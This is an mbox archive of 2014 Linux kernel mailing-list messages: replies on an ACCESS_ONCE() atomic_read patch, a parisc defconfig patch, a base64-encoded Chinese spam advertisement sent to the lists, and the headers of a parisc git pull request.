X-Trace: ger.gmane.org 1411485358 27861 80.91.229.3 (23 Sep 2014 15:15:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 23 Sep 2014 15:15:58 +0000 (UTC)
Cc: Richard Henderson <rth@twiddle.net>,
        Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
        Matt Turner <mattst88@gmail.com>,
        Russell King <linux@arm.linux.org.uk>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Will Deacon <will.deacon@arm.com>,
        Haavard Skinnemoen <hskinnemoen@gmail.com>,
        Hans-Christian Egtvedt <egtvedt@samfundet.no>,
        Mikael Starvik <starvik@axis.com>,
        Jesper Nilsson <jesper.nilsson@axis.com>,
        David Howells <dhowells@redhat.com>,
        Tony Luck <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Hirokazu Takata <takata@linux-m32r.org>,
        Geert Uytterhoeven <geert@linux-m68k.org>,
        Ralf Baechle <ralf@linux-mips.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        "David S. Miller" <davem@davemloft.net>,
To: Pranith Kumar <bobby.prani@gmail.com>
Original-X-From: linux-mips-bounce@linux-mips.org Tue Sep 23 17:15:45 2014
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([148.251.95.138] helo=cvs.linux-mips.org)
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1XWRoZ-00063v-RP
	for sgi-linux-mips@gmane.org; Tue, 23 Sep 2014 17:15:39 +0200
Original-Received: from localhost.localdomain ([127.0.0.1]:48683 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S27009623AbaIWPPiZCIZ- (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Tue, 23 Sep 2014 17:15:38 +0200
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Tue, 23 Sep 2014 17:15:24 +0200 (CEST)
Original-Received: from casper.infradead.org ([85.118.1.10]:57873 "EHLO
        casper.infradead.org" rhost-flags-OK-OK-OK-OK) by eddie.linux-mips.org
        with ESMTP id S27009616AbaIWPPWVLYun (ORCPT
        <rfc822;linux-mips@linux-mips.org>); Tue, 23 Sep 2014 17:15:22 +0200
Original-Received: from 178-85-85-44.dynamic.upc.nl ([178.85.85.44] helo=worktop)
        by casper.infradead.org with esmtpsa (Exim 4.80.1 #2 (Red Hat Linux))
        id 1XWRo6-0006ft-V2; Tue, 23 Sep 2014 15:15:11 +0000
Original-Received: by worktop (Postfix, from userid 1000)
        id 0F7036E0B72; Tue, 23 Sep 2014 17:15:09 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <1411482607-20948-1-git-send-email-bobby.prani@gmail.com>
User-Agent: Mutt/1.5.22.1 (2013-10-16)
X-archive-position: 42742
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: peterz@infradead.org
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:43891 gmane.linux.ports.alpha:2418 gmane.linux.kernel:1793166 gmane.linux.ports.arm.kernel:358771 gmane.linux.ports.ia64:24329 gmane.linux.ports.parisc:6019 gmane.linux.ports.sh.devel:39398 gmane.linux.ports.sparc:19694 gmane.linux.kernel.cross-arch:24753
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/43891>

On Tue, Sep 23, 2014 at 10:29:50AM -0400, Pranith Kumar wrote:
> Use the much reader friendly ACCESS_ONCE() instead of the cast to volatile. This
> is purely a style change.
> 
> Signed-off-by: Pranith Kumar <bobby.prani@gmail.com>

Looks good to me; I can route it through the locking tree if there's no
objections.



From - Thu Nov 08 21:10:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jesper Nilsson <jesper.nilsson@axis.com>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH] atomic_read: Use ACCESS_ONCE() instead of cast to
 volatile
Date: Tue, 23 Sep 2014 17:40:16 +0200
Lines: 21
Approved: news@gmane.org
Message-ID: <20140923154016.GT18910@axis.com>
References: <1411482607-20948-1-git-send-email-bobby.prani@gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1411486883 17237 80.91.229.3 (23 Sep 2014 15:41:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 23 Sep 2014 15:41:23 +0000 (UTC)
Cc: Richard Henderson <rth@twiddle.net>,
        Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
        Matt Turner <mattst88@gmail.com>,
        Russell King <linux@arm.linux.org.uk>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Will Deacon <will.deacon@arm.com>,
        Haavard Skinnemoen <hskinnemoen@gmail.com>,
        Hans-Christian Egtvedt <egtvedt@samfundet.no>,
        Mikael Starvik <starvik@axis.com>,
        Jesper Nilsson <jespern@axis.com>,
        David Howells <dhowells@redhat.com>,
        Tony Luck <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Hirokazu Takata <takata@linux-m32r.org>,
        Geert Uytterhoeven <geert@linux-m68k.org>,
        Ralf Baechle <ralf@linux-mips.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        "David S. Miller" <davem@davemloft.net>,
        Thomas
To: Pranith Kumar <bobby.prani@gmail.com>
Original-X-From: linux-mips-bounce@linux-mips.org Tue Sep 23 17:41:10 2014
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([148.251.95.138] helo=cvs.linux-mips.org)
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1XWSCw-0005iU-Vm
	for sgi-linux-mips@gmane.org; Tue, 23 Sep 2014 17:40:51 +0200
Original-Received: from localhost.localdomain ([127.0.0.1]:48971 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S27009623AbaIWPktAixdQ (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Tue, 23 Sep 2014 17:40:49 +0200
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Tue, 23 Sep 2014 17:40:35 +0200 (CEST)
Original-Received: from bes.se.axis.com ([195.60.68.10]:57857 "EHLO bes.se.axis.com"
        rhost-flags-OK-OK-OK-OK) by eddie.linux-mips.org with ESMTP
        id S27009616AbaIWPk2xvDnm (ORCPT <rfc822;linux-mips@linux-mips.org>);
        Tue, 23 Sep 2014 17:40:28 +0200
Original-Received: from localhost (localhost [127.0.0.1])
        by bes.se.axis.com (Postfix) with ESMTP id 1EB112E308;
        Tue, 23 Sep 2014 17:40:23 +0200 (CEST)
X-Virus-Scanned: Debian amavisd-new at bes.se.axis.com
Original-Received: from bes.se.axis.com ([IPv6:::ffff:127.0.0.1])
        by localhost (bes.se.axis.com [::ffff:127.0.0.1]) (amavisd-new, port 10024)
        with LMTP id DIPnl3fNFDFP; Tue, 23 Sep 2014 17:40:18 +0200 (CEST)
Original-Received: from boulder.se.axis.com (boulder.se.axis.com [10.0.2.104])
        by bes.se.axis.com (Postfix) with ESMTP id 7B2CA2E2E3;
        Tue, 23 Sep 2014 17:40:16 +0200 (CEST)
Original-Received: from boulder.se.axis.com (localhost [127.0.0.1])
        by postfix.imss71 (Postfix) with ESMTP id 60CAACE7;
        Tue, 23 Sep 2014 17:40:16 +0200 (CEST)
Original-Received: from seth.se.axis.com (seth.se.axis.com [10.0.2.172])
        by boulder.se.axis.com (Postfix) with ESMTP id 486105DA;
        Tue, 23 Sep 2014 17:40:16 +0200 (CEST)
Original-Received: from lnxjespern2.se.axis.com (lnxjespern2.se.axis.com [10.88.4.6])
        by seth.se.axis.com (Postfix) with ESMTP id 3EE0B3E048;
        Tue, 23 Sep 2014 17:40:16 +0200 (CEST)
Original-Received: by lnxjespern2.se.axis.com (Postfix, from userid 363)
        id 3AF8DC069; Tue, 23 Sep 2014 17:40:16 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <1411482607-20948-1-git-send-email-bobby.prani@gmail.com>
User-Agent: Mutt/1.5.20 (2009-06-14)
X-archive-position: 42744
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: jesper.nilsson@axis.com
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:43893 gmane.linux.ports.alpha:2419 gmane.linux.kernel:1793190 gmane.linux.ports.arm.kernel:358782 gmane.linux.ports.ia64:24331 gmane.linux.ports.parisc:6020 gmane.linux.ports.sh.devel:39399 gmane.linux.ports.sparc:19696 gmane.linux.kernel.cross-arch:24754
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/43893>

On Tue, Sep 23, 2014 at 04:29:50PM +0200, Pranith Kumar wrote:
> Use the much reader friendly ACCESS_ONCE() instead of the cast to volatile. This
> is purely a style change.
> 
> Signed-off-by: Pranith Kumar <bobby.prani@gmail.com>
> ---
>  arch/alpha/include/asm/atomic.h    | 4 ++--
>  arch/arm/include/asm/atomic.h      | 2 +-
>  arch/arm64/include/asm/atomic.h    | 4 ++--
>  arch/avr32/include/asm/atomic.h    | 2 +-
>  arch/cris/include/asm/atomic.h     | 2 +-

For the CRIS parts:

Acked-by: Jesper Nilsson <jesper.nilsson@axis.com>

/^JN - Jesper Nilsson
-- 
               Jesper Nilsson -- jesper.nilsson@axis.com



From - Thu Nov 08 21:10:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michal Marek <mmarek@suse.cz>
Newsgroups: gmane.linux.kernel,gmane.linux.network,gmane.linux.kernel.next,gmane.linux.kbuild.devel,gmane.linux.ports.parisc
Subject: [PATCH 2/5] parisc: Set CONFIG_NET=y in defconfigs
Date: Tue, 23 Sep 2014 17:44:01 +0200
Lines: 27
Approved: news@gmane.org
Message-ID: <1411487044-14071-2-git-send-email-mmarek@suse.cz>
References: <54218AEF.5090200@suse.cz>
 <1411487044-14071-1-git-send-email-mmarek@suse.cz>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1411487161 20997 80.91.229.3 (23 Sep 2014 15:46:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 23 Sep 2014 15:46:01 +0000 (UTC)
Cc: netdev@vger.kernel.org, linux-next@vger.kernel.org,
	linux-kernel@vger.kernel.org, linux-kbuild@vger.kernel.org,
	linux-parisc@vger.kernel.org
To: sfr@canb.auug.org.au, rdunlap@infradead.org, davem@davemloft.net
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Sep 23 17:45:53 2014
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1XWSHf-0002C6-T3
	for glk-linux-kernel-3@plane.gmane.org; Tue, 23 Sep 2014 17:45:44 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756291AbaIWPog (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Tue, 23 Sep 2014 11:44:36 -0400
Original-Received: from cantor2.suse.de ([195.135.220.15]:41701 "EHLO mx2.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754722AbaIWPoe (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Tue, 23 Sep 2014 11:44:34 -0400
Original-Received: from relay1.suse.de (charybdis-ext.suse.de [195.135.220.254])
	by mx2.suse.de (Postfix) with ESMTP id 87DC3ACA0;
	Tue, 23 Sep 2014 15:44:32 +0000 (UTC)
Original-Received: by sepie.suse.cz (Postfix, from userid 10020)
	id 604384085B; Tue, 23 Sep 2014 17:44:32 +0200 (CEST)
X-Mailer: git-send-email 1.8.4.5
In-Reply-To: <1411487044-14071-1-git-send-email-mmarek@suse.cz>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1793198 gmane.linux.network:331773 gmane.linux.kernel.next:32890 gmane.linux.kbuild.devel:12222 gmane.linux.ports.parisc:6021
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1793198>

Commit 5d6be6a5 ("scsi_netlink : Make SCSI_NETLINK dependent on NET
instead of selecting NET") removed what happened to be the only instance
of 'select NET'. Defconfigs that were relying on the select now lack
networking support.

Reported-by: Stephen Rothwell <sfr@canb.auug.org.au>
Cc: linux-parisc@vger.kernel.org
Signed-off-by: Michal Marek <mmarek@suse.cz>
---
 arch/parisc/configs/c8000_defconfig | 1 +
 1 file changed, 1 insertion(+)

diff --git a/arch/parisc/configs/c8000_defconfig b/arch/parisc/configs/c8000_defconfig
index 8249ac9..269c23d 100644
--- a/arch/parisc/configs/c8000_defconfig
+++ b/arch/parisc/configs/c8000_defconfig
@@ -33,6 +33,7 @@ CONFIG_PCI_LBA=y
 # CONFIG_PDC_CHASSIS_WARN is not set
 # CONFIG_CORE_DUMP_DEFAULT_ELF_HEADERS is not set
 CONFIG_BINFMT_MISC=m
+CONFIG_NET=y
 CONFIG_PACKET=y
 CONFIG_UNIX=y
 CONFIG_XFRM_USER=m
-- 
1.8.4.5


From - Thu Nov 08 21:10:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?utf-8?B?5bCP5a2U?= <gamebox@xtimes.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.nfs
Subject: =?utf-8?B?55So6L+Z5Liq5bmz5Y+w5Y+R55+t5L+h77yM6L+Z5bCx5a+55LqGICAgICAgIA==?=
	=?utf-8?B?ICAgICAgICAgICAgICAgICAgICA=?=
	=?utf-8?B?ICAgICAgICAgICAgICAgICAgICA=?=
	=?utf-8?B?ICAgICAgICAgICAgICAgICAgICA=?=
	=?utf-8?B?ICB4NWZ3M3V1bQ==?=
Date: Tue, 23 Sep 2014 22:32:55 +0800
Lines: 66
Approved: news@gmane.org
Message-ID: <20140923223305200644@xtimes.org>
Reply-To: <dingxj8@aliyun.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="utf-8"
Content-Transfer-Encoding: base64
X-Trace: ger.gmane.org 1411490802 6911 80.91.229.3 (23 Sep 2014 16:46:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 23 Sep 2014 16:46:42 +0000 (UTC)
To: <linux-india-help-admin@lists.sourceforge.net>,
	<linux-nfs@vger.kernel.org>, <linux-parisc@vger.kernel.org>,
	<linux-raid-request@vger.rutgers.edu>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Sep 23 18:46:36 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1XWTEZ-0006bK-76
	for glpp-linux-parisc@plane.gmane.org; Tue, 23 Sep 2014 18:46:35 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932232AbaIWQqe (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 23 Sep 2014 12:46:34 -0400
Original-Received: from [115.154.191.37] ([115.154.191.37]:33021 "EHLO xtimes.org"
	rhost-flags-FAIL-FAIL-OK-OK) by vger.kernel.org with ESMTP
	id S932162AbaIWQqe (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 23 Sep 2014 12:46:34 -0400
X-Greylist: delayed 5255 seconds by postgrey-1.27 at vger.kernel.org; Tue, 23 Sep 2014 12:46:33 EDT
Original-Received: from kjfly (unknown [124.73.5.17])
	by xtimes.org (Postfix - by xtimes.org) with ESMTPA id 7C9C9BA3817;
	Tue, 23 Sep 2014 22:33:46 +0800 (CST)
X-Priority: 1 (Highest)
X-mailer: Foxmail 6, 13, 102, 15 [cn]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:6022 gmane.linux.nfs:66645
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/6022>

DQogIOWbveWGheacgOWlveeUqOeahOefreS/oeW5s+WPsO+8jOmAiei/meS4qui/meWwseWvueS6
huOAguato+inhOWGheWuuemDveWPr+S7peWPke+8jOWIsOi+vumrmO+8jOS4jeWxj+iUveOAguWS
qOivouivt+WKoFFRMTkzOTg5NzI177yM5Y+v5Lul5rWL6K+V5ZOm44CCDQoNCg0KDQoNCg0KIA0K
DQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoN
Cg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0K
DQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoN
Cg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCuWwkeW5tOS4u+W8oOaWh+eroOmc
gOimgeaciei2o++8jOWoseS6uuWoseW3seiAjOW3su+8jOiAjOWGr+S6keWxseWImeiupOS4uuaW
h+eroOW6lOivpeaWh+S7pei9vemBk++8jOaVmeWMluS4luS6uuOAgiAgICDkuKTkurrkuonorrrk
uoblpb3lh6DlpKnvvIzmnIDlkI7lhpvoo4XlsJHlubTkuL7miYvmipXpmY3vvIzkvYbmmK/ov5nm
m7Torqnlhq/kupHlsbHmhJ/op4nlsYjovrHvvIzmhJ/op4nku5blj6rmmK/kuI3miZPlvIDovabn
ga/ovablrZDooYzpqbbkuZ/msqHku4DkuYjpmpznoo3jgIIgICAg6JGj6ZuG55qE6Ziy5Y2r5o6q
5pa96Z2e5bi45aW977yM5p2R5aS055qE5Zub6KeS5L+u5LqG5Zub5bqn5LiJ5bGC5bCP5rSL5qW8
77yM5YWF5b2T552A4oCc5ZOo5omA4oCd55qE5L2c55So77yM5q+P5bqn5bCP5qW86YO95pyJ5Lq6
5LiT6Zeo5pS+5ZOo77yM6KOF5pyJ5aSn5ZaH5Y+t5bm/5pKt44CCICAgIOS7luS7rOi/mOWPkeaY
juS6huS4gOWSjOeItuS6sui/m+ihjOS4gOasoemVv+iwiOOAgiAgICDov5nnp43plb/osIjvvIzl
vojlnabor5rvvIzkuZ/lvojnm7TmjqXvvIzpkojlr7nmgKflvojlvLrvvIzosIjlvpfnn6XmoLnn
n6XlupXvvIzmr4/nu4/ljobkuIDmrKHov5nmoLfnmoTosIjor53vvIzmm7noh7Tov5zpg73kvJro
p4nlvpflj5fnm4rljKrmtYXjgIIgICAg54i25Lqy6Jm954S25LiN6Iez5LqO5YOP6YKT5YWs6YKj
5qC34oCc5LiJ6LW35LiJ6JC94oCd5LuV576O5oSf44CCICAgIOWkj+Wwj+a0m+i9u+i9u+WcsOmd
oOi/keS7lu+8jOS7juiDjOWQjuaKseS9j+Wlue+8jOWlueKAnOWViuKAneWcsOS4gOWjsOaDiuWR
vO+8jOWQk+S6huS4gOi3s++8jOWPjei/h+i6q+adpeeci+ingeaYr+Wkj+Wwj+a0m++8jOS4gOiE
uOWoh+e+nui1t+adpeOAgiAgICDll5TmgJLlnLDngrnkuobkuIDkuIvlsI/mtJvnmoTohJHpl6jp
gZPvvJrigJzkvaDov5nlranlrZDvvIzlkJPmrbvlp5Dlp5DkuobvvIHor4nkvaDvvIzlhbblrp7m
iJHmoLnmnKzkuI3niLHku4DkuYjni5flsYHor5fmrYzmlaPmloflsI/or7TvvIzmiJHkuZ/kuI3m
mK/ku4DkuYjmloflrabpnZLlubTvvIzmiJHlsLHmmK/kuIDkuKrkv5fkurrvvIzllpzmrKLpkrHl
lpzmrKLnianotKjllpzmrKLmnYPliKnvvIzmiJHmsqHpgqPkuYjpq5jpm4XvvIzmsYLmsYLkvaDp
pbbkuobmiJHooYzkuYjvvJ/pgqPnr4for5fmrYzlsLHmmK/miJHmioTooq3nmoTvvIHigJ0gICAg
5qWa5Zug5Li657u05oqk5L2V6K+X6Z+15pu+57uP5ZKM5Y2i5Y2X5Y2O44CB6JGj5Zub5Zac5YWs
54S25byA5oiY44CCICAgIOW+iOWkmuS4quWtpOeLrOmavuecoOeahOWknOmHjO+8jOWlueWcqOWT
gOWPueiHquW3seS4jeW5uOeahOWpmuWnu+i+l+i9rOWPjeS+p+S5i+mZhe+8jOWcqOWboOS4uuS6
ieadg+WkuuWIqeiuqeWlueeWsuaDq+eahOaXtuWAme+8jOWlueWkmuaDs+acieS4gOS4queUt+S6
uuWPr+S7peS/neaKpOiHquW3se+8jAkNCuS9oOOAguKAnSAgICDkuI7mraTliY3mlKvlj5bnrKzk
uIDmobbph5HnmoTigJznirblhYPnrJTorrDigJ3kuI3lkIzvvIzlkInnpaXnianigJznm7znm7zi
gJ3pobnnm67lt7Lnu4/lvIDlp4vpga3pgYfliLDms6LmipjvvIzlpI/lsI/mtJvoh6rnhLbmmI7n
mb3kvIHkuJrotorlpKfvvIznu4/okKXnrqHnkIbotorlpI3mnYLvvIzmm7TlrrnmmJPpgYfliLDl
kITnp43ljbHmnLrjgIIgICAg5LuW5Lmf6ZqQ6ZqQ6KeJ6YGT77ya4oCc546L6ICB5p2/77yM6LCi
6LCi5L2g77yM6ICB5aSP5bqE6Ie05a+M5aWU5bCP5bq35bCx5YWo6Z2g5oKo5LqG77yB4oCdICAg
IOeOi+Wkp+WKm+S6q+WPl+edgOWkj+i/keWRqOeahOaEn+iwouWSjOW0h+aVrO+8jOW+iOa3oeWu
muWcsOS4gOaRhuaJi++8jOmBk++8muKAnOWwj+S6i+WVpuKApuKApuWlveivtO+8jOWlveivtOOA
guKAnSAgICDlpI/lsI/mtJvnnqflkJHkvK/niLblpI/ov5HlkajvvIzlj5HnjrDku5bmnoHlnLDm
lr3lsZXlvIDkuIDouqvlpb3lip/lpKvvvIzkuInkuIvkupTpmaTkuozmiorlh6DkuKrmi4nmia/n
nYDmn7PmnIjnmoTlsI/pnZLlubTmlL7lgJLkuobjgIIgICAg5Yeg5Liq5bCR5bm05LiA55yL5p2l
6ICF5LiN5ZaE77yM5a+55pa55piO5pi+5piv5Liq57uD5a625a2Q77yM5Y+v5LiN5piv5LiA6Iis
55qE5pyJ54K56Juu5Yqb6ICM5bey55qE5Yac5p2R6Z2S5bm077yM5Lmf6L2v5LqG77yM5LiN5pWi
5YaN5Yqo5omL77yM5L2g5Lya5piv5LuA5LmI5oSf6KeJ77yfICAgIOS9oOS4gOWumua7oeaAgOac
n+W+heiAjOWPiOWFhea7oeaBkOaDp+WQp+OAgiAgICDlpI/lsI/mtJvlsLHooqvov5nmoLfmnJ/l
voXlkozmt6Hmt6HnmoTmgZDmg6fokKbnu5XnnYDvvIzku5blhrPlrprvvIzopoHmiorkuozni5fl
rZDlkozmk47lpKnlk6XmlZnnmoTlip/lpKvpg73lrabkvJrkuobjgIIgICAg5q2k5Yi777yM5rWB
6KiA6Jya6K+t5Lyg5pKt5b6X5aaC5ZCM5YWJ55Sw5Yek5omN77yf4oCdICAgIOWNs+S9v+mCo+ax
ieWtkOa1kea1iueahOebruWFieS5n+mavuS7peaOqemlsOWFtuS4reeahOaDiuW8gu+8jOmBk++8
muKAnOS9oOaAjuS5iOefpemBk+eahOKApuKApuaIkeWwseaYr+S7lueahOeItuS6sueUsOebm+aW
h++8jOWcqOadkemHjOS6uuS7rOmDveWPq+aIkeeUsOWAreeTnOOAguKAnSAgICDlpI/lsI/mtJvm
g4rpgZPvvJrigJzkvK/niLbvvIzmnpznhLbmmK/mgqjogIHkurrlrrbvvIzlnKjlooPnlYzkuI7m
sJTlir/kuIrpg73kuI3lsYDkv4PvvIznnJ/mraPnmoTpq5jmiYvlooPnlYzlsLHmmK/pmo/mhI/l
h7rmiYvvvIzogIzpg73oh7PlpKflooPnlYzjgILlpoLlkIzmkanltJbliLvlrZfvvIzlhbblrp7p
m4Tmt7fvvIzoh6rmnInnq6/luoTlrp3nm7jjgIIgICAg5aW555uu5YWJ5LiA55u06IGa54Sm5Zyo
5aSP5bCP5rSb6IS45LiK77yM5LiA5Yqo5Lmf5LiN5Yqo77yM55u05Yiw5peB6L6555qE5LiA5Liq
5bCR5aWzCQ0K


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [GIT PULL] parisc fixes for v3.17
Date: Tue, 23 Sep 2014 21:43:34 +0200
Lines: 34
Approved: news@gmane.org
Message-ID: <20140923194334.GA18179@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1411501433 21284 80.91.229.3 (23 Sep 2014 19:43:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 23 Sep 2014 19:43:53 +0000 (UTC)
To: Linus Torvalds <torvalds@linux-foundation.org>,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Sep 23 21:43:45 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1XWW01-0000iw-BS
	for glpp-linux-parisc@plane.gmane.org; Tue, 23 Sep 2014 21:43:45 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751539AbaIWTno (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 23 Sep 2014 15:43:44 -0400
Original-Received: from mout.gmx.net ([212.227.15.19]:54779 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751307AbaIWTnn (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 23 Sep 2014 15:43:43 -0400
Original-Received: from p100.box ([84.173.26.9]) by mail.gmx.com (mrgmx002) with
 ESMTPSA (Nemesis) id 0LZz01-1Xzozk25Az-00lp58; Tue, 23 Sep 2014 21:43:37
 +0200
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Provags-ID: V03:K0:xdOFN1wQmwZk3v2M8nPgbswx9w67jz9Q+RC5KhEbJanKoYGxVDt
 CpM0KjUWJNRGzcJArgLzs93PKX6Be7mes25iVvehJQAxpehu8RDjsZ9n6rNz9DbSBkv18Wv
 Bi4Ohk4wo5Dc7xc5FvBdKrocBvjPgeoOoB64/kjLulIzYviFkA17FJXJrFX7T+oNeidO3co
 ytE/iG1Jvk9KP5J0rAZKA==
X-UI-Out-Filterresults: notjunk:1;
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
